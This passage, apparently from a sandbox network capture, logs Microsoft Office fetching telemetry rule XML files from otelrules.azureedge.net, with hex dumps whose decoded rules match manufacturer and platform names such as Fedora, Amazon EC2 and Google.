R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:37 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032237Z-174c587ffdfcb7qhhC1TEB3x7000000003vg00000000m7br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:37 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:37 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032237Z-174c587ffdfcb7qhhC1TEB3x7000000003x000000000e4sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:37 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:37 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032237Z-174c587ffdfl22mzhC1TEBk40c000000040000000000c8uq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032237Z-174c587ffdfl22mzhC1TEBk40c00000003xg00000000n5f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:37 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:37 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032237Z-178bfbc474btvfdfhC1NYCa2en00000005c000000000k7yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:39 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:39 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032239Z-15b8b599d88vp97chC1TEB5pzw00000003x00000000043bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:39 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032239Z-174c587ffdfx984chC1TEB676g00000003t000000000k7qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032239Z-174c587ffdf8fcgwhC1TEBnn70000000040g00000000bmd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032239Z-178bfbc474bw8bwphC1NYC38b400000005800000000079pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:39 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2822332a-801e-002a-6c23-3d31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032239Z-178bfbc474bv587zhC1NYCny5w000000057000000000dvve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:41 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032241Z-174c587ffdfb485jhC1TEBmc1s00000003mg00000000m7xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:41 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032241Z-178bfbc474bpnd5vhC1NYC4vr4000000059g00000000gt3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 